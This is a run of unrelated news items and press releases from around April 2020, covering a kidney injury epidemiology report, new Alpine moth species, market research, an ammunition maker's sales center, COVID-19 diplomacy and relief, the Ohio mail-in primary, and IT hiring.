diagnosed discharge population with 223,789 cases in 2017 in the United States. Scope of the Report The report covers the descriptive overview of Acute Kidney Injury (AKI), explaining its causes, signs and symptoms, pathophysiology. The report provides insight into the 7MM historical and forecasted patient pool covering the United States, EU5 countries (Germany, France, Italy, Spain, and United Kingdom) and Japan. The report assesses the disease risk and burden and highlights the unmet needs of Acute Kidney Injury (AKI). The report provides the segmentation of the disease epidemiology for 7MM by Total Prevalent Cases of Acute Kidney Injury (AKI), Total Diagnosed and Treated Cases of Acute Kidney Injury (AKI). Story continues Report Highlights Eleven Year Forecast of Acute Kidney Injury (AKI) Acute Kidney Injury (AKI) Epidemiology Segmentation (The segmentation consists of wider landscape covering different scenarios for developing the AKI model) The report covers Stage-Wise Discharge Diagnosed Cases of Acute Kidney Injury, which includes stages of AKI such as Stage I, Stage II and Stage III. Out of all the stages, Stage II showed the highest diagnosed discharge cases of AKI. The report also include Risk Factor Associated Acute Kidney Injury Cases, wherein several risk factors such as Coronary artery disease, Chronic kidney disease, Chronic lung disease, Sepsis, Cardiac surgery, etc are throroughly studied. An important segment of the report, i.e., Renal Transplantation Associated Delayed Graft Function provides scenario of Delayed Graft Function cases who undergo Renal Transplantation. 7MM Coverage Key Questions Answered What is the disease risk, burden and unmet needs of Acute Kidney Injury (AKI)? What is the historical Acute Kidney Injury (AKI) patient pool in the United States, EU5 (Germany, France, Italy, Spain, and the UK) and Japan? What would be the forecasted patient pool of Acute Kidney Injury (AKI) at the 7MM level? What will be the growth opportunities across the 7MM with respect to the patient population pertaining to Acute Kidney Injury (AKI)? Out of the above-mentioned countries, which country would have the highest prevalent population of Acute Kidney Injury (AKI) during the forecast period (2020-2030)? At what CAGR the population is expected to grow across the 7MM during the forecast period (2020-2030)? The Acute Kidney Injury (AKI) report will allow the user to: Develop business strategies by understanding the trends shaping and driving the 7MM Acute Kidney Injury (AKI) market. Quantify patient share distribution in the 7MM for Acute Kidney Injury (AKI). The Acute Kidney Injury (AKI) epidemiology report and model were written and developed by Masters and Ph.D. level epidemiologists. The Acute Kidney Injury (AKI) epidemiology model developed by the publisher is easy to navigate, interactive with dashboards, and epidemiology based on transparent and consistent methodologies. Moreover, the model supports data presented in the report and showcases disease trends over the eleven-year forecast period using reputable sources. Key Topics Covered 1. Key Insights 2. Acute Kidney Injury Market (AKI): Overview at a Glance 3. Acute Kidney Injury (AKI): Disease Background and Overview 3.1. Introduction 3.2. Symptoms 3.3. Types of Acute Kidney Injury 3.4. Stages Classification 3.5. Risk Factors 3.6. Etiology 3.7. Pathophysiology 3.8. Biomarkers 3.9. Diagnosis 4. Epidemiology and Patient Population 4.1. Key Findings 4.2. 7MM Total Incident Patient Population of AKI 4.3. 7MM Total Discharge Diagnosed Population of AKI 5. United States 5.1. Assumptions and Rationale 5.2. Acute Kidney Injury Incident Cases in the US 5.3. Acute Kidney Injury Discharge Diagnosed Cases in the US 5.4. Acute Kidney Injury Stage-Wise Discharged Diagnosed Cases in the US 5.5. Acute Kidney Injury Risk Factor Associated Cases in the US 5.6. Acute Kidney Injury Renal Transplantation Associated Delayed Graft Function Cases in the US 6. EU5 6.1. Assumptions and Rationale 6.2. Germany 6.2.1. Acute Kidney Injury Incident Cases in Germany 6.2.2. Acute Kidney Injury Discharge Diagnosed Cases in Germany 6.2.3. Acute Kidney Injury Stage-Wise Discharged Diagnosed Cases in Germany 6.2.4. Acute Kidney Injury Risk Factor Associated Cases in Germany 6.2.5. Acute Kidney Injury Renal Transplantation Associated Delayed Graft Function Cases in Germany 6.3. France 6.4. Italy 6.5. Spain 6.6. United Kingdom 7. Japan 7.1.1. Assumptions and Rationale 7.1.2. Acute Kidney Injury Incident Cases in Japan 7.1.3. Acute Kidney Injury Discharge Diagnosed Cases Japan 7.1.4. Acute Kidney Injury Stage-Wise Discharge Diagnosed Cases in Japan 7.1.5. Acute Kidney Injury Risk Factor Associated Cases in Japan 7.1.6. Acute Kidney Injury Renal Transplantation Associated Delayed Graft Function Cases in Japan For more information about this report visit https://www.researchandmarkets.com/r/s63oep Research and Markets also offers Custom Research services providing focused, comprehensive and tailored research. CONTACT: CONTACT: ResearchAndMarkets.com Laura Wood, Senior Press Manager press@researchandmarkets.com For E.S.T Office Hours Call 1-917-300-0470 For U.S./CAN Toll Free Call 1-800-526-8630 For GMT Office Hours Call +353-1-416-8900 Hancock suggested at the time that health-care workers might be wasting gowns and masks wearing them only once, when they could be used to treat several patients. We need everyone to treat PPE like the precious resource that it is, he said. That means only using it when theres a clinical need and not using more than is needed. The discovery of new, still unnamed animal species in a well-researched European region like the Alps is always a small sensation. All the more surprising is the description of a total of three new to science species previously misidentified as long-known alpine moths. During a genetic project of the Tyrolean State Museums in Innsbruck (Austria), Austrian entomologist and head of the Natural Science Collections Peter Huemer used an integrative research approach that relies on molecular methods to study four European moths. Despite having been known for decades, those species remained quite controversial, because of many unknowns around their biology. At the end, however, it turned out that the scientist was not dealing with four, but seven species. The three that were not adding up were indeed previously unknown species. Therefore, Huemer described the moths in a paper in the open-access, peer-reviewed journal Alpine Entomology. Curiously, all three species were given the names of legendary alpinists: Reinhold Messner, Peter Habeler and David Lama. Tribute to three legends in alpinism "The idea to name the new species in honour of three world-renowned climbers was absolutely no coincidence," explains Huemer. One of the newly described species, Caryocolum messneri, or Messner's Curved-horn moth, is dedicated to Reinhold Messner. Messner is a famous alpinist who was the first to reach Mount Everest without additional oxygen, but also the first climber to ascend all fourteen peaks over 8,000 metres. For decades, he has been inspiring followers through lectures and books. His is also the Messner Mountain Museum project, which comprises six museums located at six different locations in South Tyrol, northern Italy, where each has the task to educate visitors on "man's encounter with mountains" by showcasing the science of mountains and glaciers, the history of mountaineering and rock climbing, the history of mythical mountains, and the history of mountain-dwelling people. advertisement "So what could have been a better fit for a name for the species that flutters on the doorstep of his residence, the Juval Castle in South Tyrol?" says Huemer. The second new species, Caryocolum habeleri, or Habeler's Curved-horn moth, honours another extraordinary mountaineer: Peter Habeler. Having joined Messner on his expedition to Mount Everest, he also climbed this mountain without additional oxygen in a first for history. Another achievement is his climbing the famous Eiger North Face in mere 10 hours. Additionally, together with the study's author, he sits on the advisory board of the nature conservation foundation "Bluhendes Osterreich." However, the species' name is also a nod to Peter Habeler's cousin: Heinz Habeler, recognised as "the master of butterfly and moth research in Styria." His collection is now housed in the Tyrolean State Museums. The third alpinist, whose name is immortalised in a species name, is David Lama, specially recognised by Huemer for his commitment to conservation. Once, in order to protect endangered butterflies along the steep railway embankments in Innsbruck, Lama took care to secure volunteers in a remarkable action. Nevertheless, Lama earned his fame for his spectacular climbing achievements. His was the first free ascent of the Compressor route on the south-eastern flank of Cerro Torre. "Unfortunately, David lost his life far too soon in a tragic avalanche accident on 16 April 2019 in Banff National Park, Canada. Now, Caryocolum lamai (Lama's Curved-horn moth) is supposed to make him 'immortal' also in the natural sciences," says Huemer. Many unresolved questions The newly described moth species are closely related and belong to the genus Caryocolum of the so-called Curved-horn moths (family Gelechiidae). advertisement As caterpillars, the species of this genus live exclusively on carnation plants. Even though the biology of the new moths is still unknown, because of their collection localities, it could be deduced that plants such as the stone carnation are likely their hosts. All species are restricted to dry and sunny habitats and sometimes inhabit altitudes of up to 2,500 m. So far, they have only been observed with artificial light at night. While Messner's Curved-horn moth occurs from northern Italy to Greece, the area of ??Habelers Curved-horn Moth is limited to the regions between southern France, northern Switzerland and southeastern Germany. On the other hand, Caryocolum lamai, only inhabits a small area in the western Alps of Italy and France. Research on alpine butterflies and moths has been an important scientific focus at the Tyrolean state museums for decades. In 30 years, Peter Huemer discovered and named over 100 previously unknown to science species of lepidopterans. All these new discoveries have repeatedly shown the gaps in the study of biodiversity, even in Central Europe. "How could we possibly protect a species that we don't even have a name for is one of the key questions for science that derives from these studies," says Huemer in conclusion. NEW YORK, April 28, 2020 /PRNewswire/ -- The Global Tumor Ablation Market is expected to grow from USD 473.95 Million in 2018 to USD 1,649.04 Million by the end of 2025 at a Compound Annual Growth Rate (CAGR) of 19.49%. Read the full report: https://www.reportlinker.com/p05871566/?utm_source=PRN The positioning of the Global Tumor Ablation Market vendors in FPNV Positioning Matrix are determined by Business Strategy (Business Growth, Industry Coverage, Financial Viability, and Channel Support) and Product Satisfaction (Value for Money, Ease of Use, Product Features, and Customer Support) and placed into four quadrants (F: Forefront, P: Pathfinders, N: Niche, and V: Vital). The report deeply explores the recent significant developments by the leading vendors and innovation profiles in the Global Tumor Ablation Market including are Angiodynamics, Inc., Boston Scientific Corp., BVM Medical Limited, EDAP TMS S.A., Galil Medical, Inc., Healthtronics, Inc., INTIO Inc., Medtronic, Plc., Mermaid Medical, Inc., and Mesonix, Inc.. On the basis of Technology, the Global Tumor Ablation Market is studied across Cryoablation, High-Intensity Focused Ultrasound, Laser Interstitial Thermal Ablation, Microwave Ablation, and Radiofrequency Ablation. On the basis of Treatment, the Global Tumor Ablation Market is studied across Laparoscopic Ablation, Percutaneous Ablation, and Surgical Ablation. On the basis of Application, the Global Tumor Ablation Market is studied across Bone Metastasis, Kidney Cancer, Liver Cancer, and Lung Cancer. For the detailed coverage of the study, the market has been geographically divided into the Americas, Asia-Pacific, and Europe, Middle East & Africa. The report provides details of qualitative and quantitative insights about the major countries in the region and taps the major regional developments in detail. In the report, we have covered two proprietary models, the FPNV Positioning Matrix and Competitive Strategic Window. The FPNV Positioning Matrix analyses the competitive market place for the players in terms of product satisfaction and business strategy they adopt to sustain in the market. The Competitive Strategic Window analyses the competitive landscape in terms of markets, applications, and geographies. The Competitive Strategic Window helps the vendor define an alignment or fit between their capabilities and opportunities for future growth prospects. During a forecast period, it defines the optimal or favorable fit for the vendors to adopt successive merger and acquisitions strategies, geography expansion, research & development, new product introduction strategies to execute further business expansion and growth. Research Methodology: Our market forecasting is based on a market model derived from market connectivity, dynamics, and identified influential factors around which assumptions about the market are made. These assumptions are enlightened by fact-bases, put by primary and secondary research instruments, regressive analysis and an extensive connect with industry people. Market forecasting derived from in-depth understanding attained from future market spending patterns provides quantified insight to support your decision-making process. The interview is recorded, and the information gathered in put on the drawing board with the information collected through secondary research. The report provides insights on the following pointers: 1. Market Penetration: Provides comprehensive information on sulfuric acid offered by the key players in the Global Tumor Ablation Market 2. Product Development & Innovation: Provides intelligent insights on future technologies, R&D activities, and new product developments in the Global Tumor Ablation Market 3. Market Development: Provides in-depth information about lucrative emerging markets and analyzes the markets for the Global Tumor Ablation Market 4. Market Diversification: Provides detailed information about new products launches, untapped geographies, recent developments, and investments in the Global Tumor Ablation Market 5. Competitive Assessment & Intelligence: Provides an exhaustive assessment of market shares, strategies, products, and manufacturing capabilities of the leading players in the Global Tumor Ablation Market The report answers questions such as: 1. What is the market size of Tumor Ablation market in the Global? 2. What are the factors that affect the growth in the Global Tumor Ablation Market over the forecast period? 3. What is the competitive position in the Global Tumor Ablation Market? 4. Which are the best product areas to be invested in over the forecast period in the Global Tumor Ablation Market? 5. What are the opportunities in the Global Tumor Ablation Market? 6. What are the modes of entering the Global Tumor Ablation Market? Read the full report: https://www.reportlinker.com/p05871566/?utm_source=PRN About Reportlinker ReportLinker is an award-winning market research solution. Reportlinker finds and organizes the latest industry data so you get all the market research you need - instantly, in one place. __________________________ Contact Clare: [email protected] US: (339)-368-6001 Intl: +1 339-368-6001 SOURCE Reportlinker Related Links www.reportlinker.com Call Center Generates Revenue of $1,537,000 SCOTTSDALE, Ariz., April 28, 2020 (GLOBE NEWSWIRE) -- AMMO, Inc. (POWW) (AMMO or the Company), a premier American ammunition and munition components manufacturer and technology leader, announces the creation of a sales call center located at its Scottsdale Headquarters. The Call Center began operations on April 1st and is staffed with 11 full time employees who report to Matt Nicholson, Vice President of Sales and Marketing. Matt Nicholson joined AMMO, Inc. on February 28, 2020. Prior to joining AMMO, Inc. Mr. Nicholson was Vice President of Sales at Davidsons, one of the largest and most progressive firearms wholesalerdistributor in America from 2009 to 2017 where he grew revenue over 400% and doubled the customer base. The Call Center is staffed Monday through Friday from 6am to 6pm PT. The Call Center Account Executives sole responsibility is to call and service the 67,000-gun shops that have active Federal Firearms Licenses. The team we have put in place here at AMMO Inc. has been doing a fantastic job introducing our brand to the dealer population. Im confident after our first 6 months of contacting ammo buyers across the country we will add over 1000 new customers to the Ammo Inc family said Matt Nicholson. The productivity of our Account Executives has exceeded our expectations. Through April 24th, we have on-boarded 192 new customers, generating revenue of $85.1k on average per day, and have realized an average order size of $5.3K. The Call Center has been educating our new and perspective customers on the AMMOs Product lines with a focus on STREAK visual ammunition. The STREAK video countertop display has been in high demand and is now on backorder through May. Customer orders have focused on 9MM, 7.62x51MM, 380 and 45 Caliber ammunition. Matt further states, Most ammo buyers we are talking to are pleasantly surprised by the margin weve built into the line and once they find out the free LCD countertop display and free shipping on qualifying orders, they are quick to pull the trigger. Story continues Overall, the Call Center has generated $1,537,000 in revenue since inception, shipped approximately $279,000 in product and has a backlog of $1.3M which it expects to ship in the next six to eight weeks. We expect to exit April with approximately $1.84M in revenue generated by our 11 Account Executives or $ 168K per person. The Call Center has been accretive to our operations since day one. In my personal history of selling to gun and ammo retailers across the country I feel like I know what they want. Strong margins, fast shipments, accurate order placing and a company they can TRUST. We plan on providing all of those things and more to every customer of AMMO Inc. well into the future, concludes Mr. Nicholson. Fred Wagenhals, AMMO s CEO states, Its been my goal to establish a sales call center, but I understood that to be successful in this endeavor, I had to be patient and extremely selective in our hiring of the individual to create the team and rollout service. We were fortunate to hire Matt Nicholson with his very successful accomplishments in this space. About AMMO, Inc. AMMO was founded in 2016 with a vision to change, innovate and invigorate the complacent munitions industry. The Company designs and manufactures products for a variety of markets, including law enforcement, military, hunting, sport shooting and self-defense. AMMO promotes branded munitions, including its patented STREAK Visual Ammunition, /stelTH/ subsonic munitions, O.W.L. Technologies, and Night OPS (One Precise Shot) a lead-free frangible tactical line of munitions for self-defense. The Companys corporate offices are headquartered in Scottsdale, Arizona. Manufacturing operations are based in both northern Arizona and Manitowoc, Wisconsin. For more information please visit: www.ammoinc.com . Forward Looking Statements This document contains certain forward-looking statements. All statements other than statements of historical fact are forward-looking statements for purposes of federal and state securities laws, including, but not limited to, any projections of earnings, revenue or other financial items; any statements of the plans, strategies, goals and objectives of management for future operations; any statements concerning proposed new products and services or developments thereof; any statements regarding future economic conditions or performance; any statements or belief; and any statements of assumptions underlying any of the foregoing. Forward looking statements may include the words may, could, estimate, intend, continue, believe, expect or anticipate or other similar words, or the negative thereof. These forward-looking statements present our estimates and assumptions only as of the date of this report. Accordingly, readers are cautioned not to place undue reliance on forward-looking statements, which speak only as of the dates on which they are made. We do not undertake to update forward-looking statements to reflect the impact of circumstances or events that arise after the dates they are made. You should, however, consult further disclosures and risk factors we include in Annual Reports on Form 10-K, Quarterly Reports on Form 10-Q, and Reports filed on Form 8-K. In our filings with the Securities and Exchange Commission, references to AMMO, Inc., AMMO, the Company, we, us, our and similar terms refer to AMMO, Inc. and its wholly owned operating subsidiaries The Enlight Group (d/b/a Jagemann Munition Components), SNI, LLC and Ammo Technologies, Inc. Investor Contact: Cody Slach Gateway Investor Relations Phone: (949) 574-3860 POWW@gatewayir.com Source: Xinhua| 2020-04-28 20:35:38|Editor: huaxia Video Player Close VIENNA, April 28 (Xinhua) -- Austrian Chancellor Sebastian Kurz and South Korean President Moon Jae-in spoke over phone on Tuesday about how to restart economy and contain the COVID-19 at the same time. "South Korea and Austria each took tough measures early on to contain the coronavirus and thus got through the crisis better than others. So today we talked about how to boost the economy while keeping the virus under control," Kurz said, according to a message from the Federal Chancellery. The chancellor emphasized that "this must of course be done carefully and with the necessary caution to prevent a possible second wave." Above all, "group formation" should be avoided, he added. He noted that international cooperation in the fight against the coronavirus is also crucial, especially in the development of medicines and vaccines. "We will continue to have an intensive exchange to fight the coronavirus," he said. Enditem This pandemic has shown the world what really matters: people helping people, and that is something that has always been a part of our core company values." Johnny Goodman, CEO of CPAP.com. CPAP.com, the most trusted online CPAP store, is kicking off its donation month in tandem with the global COVID-19 relief movement, Giving Tuesday Now, on May 5th by donating 20% of all proceeds to the Houston Food Bank. Every Tuesday in the month of May, CPAP.com will be donating 20% of its proceeds to a different local or national charity; their hope is to raise a quarter of a million dollars by the end of May. In conjunction with World Health Day, their first donation day raised over $31,000 for FrontlineFoods. So far, CPAP.com has donated over $100,000 in equipment, money, and time to communities affected by COVID-19. This family-owned business is out to show the world that anyone can have an impact when it comes to helping others. Our mission at CPAP.com has always been to give people a better way to treat sleep apnea and to provide the resources needed to make educated decisions about treatment. Johnny Goodman, CEO of CPAP.com, continues, This crisis has shown the world what really matters: people helping people, and that is something that has always been a part of our core company values. While supporting the sleep apnea community is still top of mind, Goodman has shifted Q2 priorities to focus on providing COVID-19 relief where they can. Within the priority shift, a significant percentage of the focus includes helping CPAP.com customers get the supplies they need. In response to the recent FDA announcement that sleep apnea devices may be used as non-invasive ventilators, CPAP.com has stepped up its quarterly product purchases to ensure they have the necessary quantities of products available. With their increase in stock, CPAP.com has been able to donate over 30 ResMed AirCurve SV Units to hospitals where ventilator supplies are exhausted. Goodman shares, If there is an opportunity to help supply hospitals with the equipment we have, then we want to do our part and help out where we can and when we can. In addition to the machines weve donated, weve also sent over 9 55-gallon barrels of hand sanitizer to local Houston hospitals. Click through to learn more about what CPAP.com is doing to help aid in the COVID-19 relief effort. For additional information, visit CPAP.com. About CPAP.com: CPAP.com, established in 1999, is a family-owned and operated business that is dedicated to providing affordable sleep apnea equipment and empowering educational resources. CPAP.com owns the largest assortment of sleep health products at the lowest prices and provides unmatched customer service. Their number one goal is to ensure all customers are matched to the products best suited for their lifestyle and are supported throughout their journey. The company helps over 32 million people invest their life savings (stock photo) Financial services company Fidelity Investments has announced plans to hire around 100 staff in Ireland. The majority of the roles being created are for software engineers and will be based in Galway and Dublin. Al Riviezzo, general manager of Fidelity Investments Ireland, said: Fidelity Ireland continues to provide critical technology and operations support to the firm. All of our 1,100-strongworkforceare working from home across Ireland and ready to welcome new colleagues to support our expanding need for tech skills and talent we have based here in Ireland. The Boston-headquartered company will provide successful applicants with virtual on-boarding and training, as well as work-from-home flexibility and supports to ensure the safety of employees. Privately owned for more than 70 years, Fidelity has more than 40,000 staff around the world. The company helps over 32 million people invest their own life savings. In addition, it works with 22,000 businesses, assisting them in managing employee benefit programmes. It also provides more than 13,500 financial advisory firms with investment and technology solutions to invest their own clients money. At 31 March the company had assets under administration of $7.3tn, including discretionary assets of $2.9tn. The company has been in Ireland since 1996. New Delhi [India], April 28 (ANI): Prime Minister Narendra Modi on Tuesday spoke to his Canadian counterpart Justin Trudeau and thanked him for looking after Indian nationals in Canada during coronavirus crisis. "Had a warm exchange with PM @JustinTrudeau. Thanked him for looking after Indian citizens in Canada during these difficult times. Collaboration and partnership between India and Canada is vital to fighting the pandemic including through medical research and supply chain management," PM Modi tweeted. With 1,543 more COVID-19 cases reported in the last 24 hours, India's tally of coronavirus cases has reached 29,435 cases, said the Ministry of Health and Family Welfare on Tuesday So far, the number of deaths due to coronavirus stands at 934. Meanwhile, Canada has reported over 49,000 coronavirus cases and more than 2,700 deaths. (ANI) By sending officials to poor areas, implementing targeted measures, and making every effort to mobilize enterprises and social forces to boost poverty alleviation, Ejin Horo Banner of Ordos City, north Chinas Inner Mongolia autonomous region, has lifted all the 1,369 people of its 607 registered poor households out of poverty. (Photo/Media Convergence Center of Ejin Horo Banner) Wang Yongliang, a villager of Haolaisu village, Subuerga town of Ejin Horo Banner, who used to be a member of a registered poor household, saw his family bring in an annual household income of over 60,000 yuan (about $8,486.68) last year. They have been lucky to be able to enjoy the countrys great policies, Wang said, explaining that the government has built houses, bought sheep, and set up greenhouses for impoverished households. (Photo/Media Convergence Center of Ejin Horo Banner) Last year, enterprises and units designated to provide assistance for poverty alleviation efforts of Haolaisu village invested 2 million yuan in building 11 toadstool greenhouses for the village and a toadstool greenhouse for each of the villages nine poor households, of which Wangs family was one. I bought a vehicle with a loan and got rid of poverty. I believe our lives will get better and better, Wang said. (Photo/Media Convergence Center of Ejin Horo Banner) Poverty relief officials were dispatched to Subuerga town to pair up with poor households to help them shake off poverty with targeted measures based on each familys actual conditions. Through this move, as well as the efforts of enterprises and various social forces, Subuerga town has lifted 379 people in all of its 172 registered poor households out of poverty. The town has ensured that all urban residents are covered by the social endowment insurance system for rural residents and all local households are covered by the serious disease insurance system, can enjoy education-related assistance policies, and have access to television signals, water and electricity that meet the required safety standards. In addition, Subuerga town has basically completed renovation of its dilapidated rural housing and turned poor people into wage earners through public service jobs. According to Xiao Ming, deputy head of Subuerga town, efforts have been made to develop the processing industry and toadstool cultivation in a bid to help all the registered poor households not only get rid of poverty, but also become wealthy. These poverty alleviation efforts and achievements have been continuously taking place in the 138 villages of Ejin Horo Banner. (Photo/Media Convergence Center of Ejin Horo Banner) Since the beginning of its poverty alleviation efforts, Ejin Horo Banner has sent 450 outstanding members and cadres of the Communist Party of China (CPC) to various poor villages to fight against poverty. These CPC members and cadres have focused their efforts on a variety of related projects covering road conditions, safety of drinking water, electricity and communication, renovation of dilapidated housing, living environment, industrial development, employment, and guaranteeing education and medical services. Last year, Ejin Horo Banner attracted more than 74 million yuan in investment from enterprises and implemented 108 collective economic projects to help villages get rid of poverty. These efforts enabled 248 registered poor households in the banner to increase their incomes by developing industries and relocated 147 people from the registered poor labor force. The year 2020 is the last year for China to win its battle against poverty, said Gao Zhixiong, director of the poverty alleviation service center of Ejin Horo Banner. He explained that the banner and Ordos city have injected 28 million yuan from industry-oriented poverty alleviation funds and carried out 13 industrial development projects that have great potential to benefit and drive forward the efforts of local people to increase their incomes. The two presidents have had a phone call. Ukrainian President Volodymyr Zelensky's Office says French President Emmanuel Macron has confirmed his visit to Ukraine after the COVID-19 pandemic is over. "Volodymyr Zelensky reiterated the invitation to Emmanuel Macron to visit Ukraine," the Ukrainian president's press service said in a readout of the two presidents' recent phone call on April 27. Read alsoGlobal coronavirus cases top three million on Monday evening "I know you wanted to visit Ukraine. I will be glad to welcome you as soon as the coronavirus pandemic is over and as soon as this visit is possible," the press service quoted Zelensky as saying. Macron confirmed his intention to visit Ukraine, it added. As was reported earlier, Macron extended the COVID-19-related lockdown in France until May 11. This date is also the deadline for the coronavirus quarantine in Ukraine. The first major test of an almost completely vote-by-mail election during a pandemic is about to unfold in Ohio, offering lessons to other states about how to conduct one of the most basic acts of democracy amid a health crisis. The process hasn't been smooth as state officials have navigated election laws and the need to protect citizens and poll workers from the coronavirus. Ohio's in-person primary was delayed just hours before polls were supposed to open last month, prompting legal challenges and confusion. Tuesday's election replacing it requires voters to run at least three pieces of mail an application, a blank ballot and a completed one through the U.S. Postal Service. With Joe Biden emerging as the presumptive Democratic presidential nominee, there's little suspense in the results. Ohio's vote is instead being closely watched as a case study for how to proceed with elections if the pandemic doesn't ease. States have taken drastically different approaches, with Wisconsin proceeding with in-person voting earlier this month and New York saying Monday it would cancel its presidential primary, which was scheduled for June. Some governors have suggested they would consider moving to an all-mail voting system for the November general election, something President Donald Trump has strongly opposed. The National Conference of State Legislatures says five states currently conduct all elections entirely by mail: Colorado, Hawaii, Oregon, Washington and Utah. As he prepared for the results, Ohio Republican Secretary of State Frank LaRose warned the process could be bumpy. A lot of things will look like election night, but then some things won't, LaRose said in an interview last week. There will still be some in-person voting on Tuesday. Ohio law guarantees that any voter who doesn't receive a ballot they requested by the legal deadline has the right to vote in person, meaning they could appear at county boards if they don't get one by Tuesday afternoon or potentially sue. But the Ohio contest comes as support for mail-in voting rises and becomes more deeply partisan. A new poll from The Associated Press-NORC Center for Public Affairs Research finds Democrats are now much more likely than Republicans to support their state conducting elections exclusively by mail, 47% to 29%. In 2018, about half as many Democrats were in favor, and there was little difference in the views of supporters from each party. LaRose and Ohio's Republican governor, Mike DeWine, have both been longtime supporters of increasing voting-by-mail options, but the political dynamics could change as the coronavirus redraws the political landscape. Trump has lately railed against expanding voting by mail, and many Republicans share his concerns. Roughly two-thirds of Republicans worry that voter fraud would be a major problem with all-mail voting, according to the AP-NORC poll. Two months ago, about as many described voter fraud as a major problem in U.S. elections in general. In fact, voter fraud is rare. One thing that won't be in doubt Tuesday is the presidential primary results since Biden is the only candidate left in the race. Still, early voting began Feb. 19, so Vermont Sen. Bernie Sanders could pick up Ohio delegates, despite suspending his campaign nearly three weeks ago. Sanders has said he'd like to collect as many delegates as possible to influence the party platform at the Democratic National Convention, but he's already endorsed Biden. The former vice president has suggested that a convention already delayed from June until August because of the coronavirus may have to be held entirely virtually, further defusing the possibility of a nasty floor fight. Traditionally a general election battleground state, Ohio has shifted to more consistently Republican in recent cycles. Trump won it by a surprisingly high 8 percentage points in 2016, after Barack Obama, with Biden as his running mate, carried the state twice. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Human resources in the information technology (IT) sector have been head-hunted in large numbers by both Vietnamese and foreign employers since the beginning of this year. Japan remains a magnet for Vietnamese IT engineers - Illustrative image (Source: baodautu.vn) Japan remains a magnet for Vietnamese IT engineers. A quarterly survey conducted by the Japan Information Technology Service Industry Association (JISA) revealed that the country is short of nearly 800,000 IT engineers and 80 percent of Japanese enterprises are willing to recruit foreign workers. Junko Kawauchi, Deputy Head of JISAs International Cooperation Division, said that 95 percent of respondent enterprises said they would engage Vietnamese engineers but 80 percent of these require Japanese language proficiency at the N1 and N2 levels. Meanwhile, the Republic of Koreas Samsung Group recently invested an additional 300 million USD in research and development in Vietnam and will require 4,000 more IT employees in the time ahead. LG has recruited 1,500 engineers, technicians, and workers to work at the LG Display Vietnam Factory. Hindustan Computers Limited (HCL), one of the three largest tech companies in India, has developed a centre in Ho Chi Minh City and will require 10,000 more engineers over the next five years. Axon Enterprise, one of the leading US firms developing technology for law enforcement, is also keen on developing technology in the city. Strong investment in IT is being seen in Vietnam, said Nguyen Huu Binh, CEO of TopDev. Leading tech companies from India, the RoK, Japan, and the US are working with us to implement large IT projects and they have a pressing need to attract young human resources in Vietnam. In addition, since the beginning of this year, many Vietnamese tech firms such as the Nexttech Group, BKAV, TDT, IBG, beGroup, and CMC Global have said they plan to recruit more IT engineers. CMC Global, for example, has a plan to engage 5,000 high-quality IT engineers; a ten-fold increase compared with the current figure. According to the latest report from the Navigos Group, more than 90 percent of IT enterprises in Vietnam wish to engage more staff and expand their business after the pandemic is brought to an end. Half said they need to expand staff numbers by 11 to 20 percent, while a quarter need to expand by 21 to 30 percent. The report also showed that demand for IT engineers in the first quarter of 2020 grew 7 percent year-on-year. Meanwhile, a report from TopDev noted that Vietnam needs over 400,000 IT engineers in 2020 and 500,000 in 2021./. Coronavirus: Four out of five people's jobs hit by pandemic The global economic impact of coronavirus could leave nearly 200 million people jobless, a UN agency says. SOMERS Although every new semester brings challenges and opportunities, the spring 2020 semester have brought thousands of colleges and universities around the world adapting to a virtual learning environment. UW-Parkside Communication Professor Jonathan Shailor has prepared his students to engage online. He shared a new syllabus on Canvas, set up discussion boards, connected the class through Blackboard Collaborate, and has been routinely checking in on his students. As an extra incentive for students, he offered extra credit to students for checking-in with him and letting him know how they were doing. He might not have expected Kelly Burkes response. Burke, a current Caledonia resident who grew up in a small town 40 minutes south of Rockford, Ill., is triple majoring in management, marketing and accounting. Burke works in road construction, an essential job, which has her putting in 50-hour work weeks. Normally she wouldnt have been able to continue her classwork because of this, but with the shift to an online environment, shes able to keep up with course work. I have taken plenty of online classes, Burke said. I am just very impressed that all of the instructors I have were able to make the switch so flawlessly. Some of the things I like are the fact that I can still attend my classes and connect with my instructors and classmates through the technology that UW-Parkside has in place. For the last few weeks, I have been able to log into one of my classes at the dedicated time to see and speak with the instructor and the rest of the class, Burke said. I like that the instructors tried to keep things as close to the original schedule as possible. That helped with the continuity of class and not feeling so overwhelmed with the change. One of the positives that Burke focused on was what she felt was a stronger connection to her class through the systems that UW-Parkside has been using for online instruction. With all of the uncertainty going on around us, it is nice to see familiar faces, Burke said. You feel more connected to the world when you see those familiar faces versus feeling like you are stuck in isolation and alone in this. Using BB Collaborate is a good difference compared to the experience I have had with my previous online classes. In my previous online classes, I never used BB Collaborate. Everyone was just a name stuck behind a keyboard. It is hard to connect with someone or as a class that way. Beyond her concerns about the shift to an online environment, Burke said that she felt a sense of relief that the university has been taking the situation seriously and admits that shes freaked out by all of the madness. My initial thoughts were all over the place, Burke said. At first, I wondered if everything that was happening was necessary. Then I realized how serious it is and there was a sense of relief that UW-P was taking the necessary precautions, Burke said. I felt bad for the students who are seniors and that this is their last semester. There was some fear that maybe I wont do as well in some of my classes in the online format as I would have done physically being in a classroom setting. There was an initial hesitation of whether I even wanted to finish the semester out with all of the madness going on in the world. There were a lot of mixed emotions and thoughts when this initially occurred. The fifth person to die in Milwaukee from COVID-19 was a tenant in the apartment building I own. My oldest son had been put in quarantine for 14 days because he was not feeling well, but they wouldnt test him because he is young and mostly healthy, Burke said. So I am ready for this to just be over with and everyone else to be okay. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 The Executive Council of the Union of the Catholic African Press (UCAP) has commended Pope Francis for creating a Commission that will confront the challenges the world is facing in the COVID-19 pandemic and its aftermath. The Commission to be led by the Dicastery for Promoting Integral Human Development under the leadership of Cardinal Peter Kodwo Appiah Turkson is to express the churchs concern and love for the entire human family in the face of the COVID-19 pandemic. The Dicastery will work with other Vatican offices to coordinate the work of analyzing and reflecting on the socio-economic and cultural challenges of the future and propose how to address them. An official statement issued by Mr George Sunguh, the President of UCAP and copied the GNA said: Its our humble appeal to Catholic journalists across Africa, to support the Commission in line with the encyclical letter, Laudato Si, by Pope Francis released on May 25, 2015. In this letter, the Holy Father had called for all to take care of our Common Home- the Planet. Pope Francis had asked all people to be united by the planet that they share to be involved in creating a new dialogue about the future of the planet. As Catholic journalists, we should heed this call by supporting the Commission on this noble cause by volunteering our journalistic skills and platforms by identifying and highlighting the real needs of our local churches- especially those in poor areas as per the Papal appeal, it added. The statement 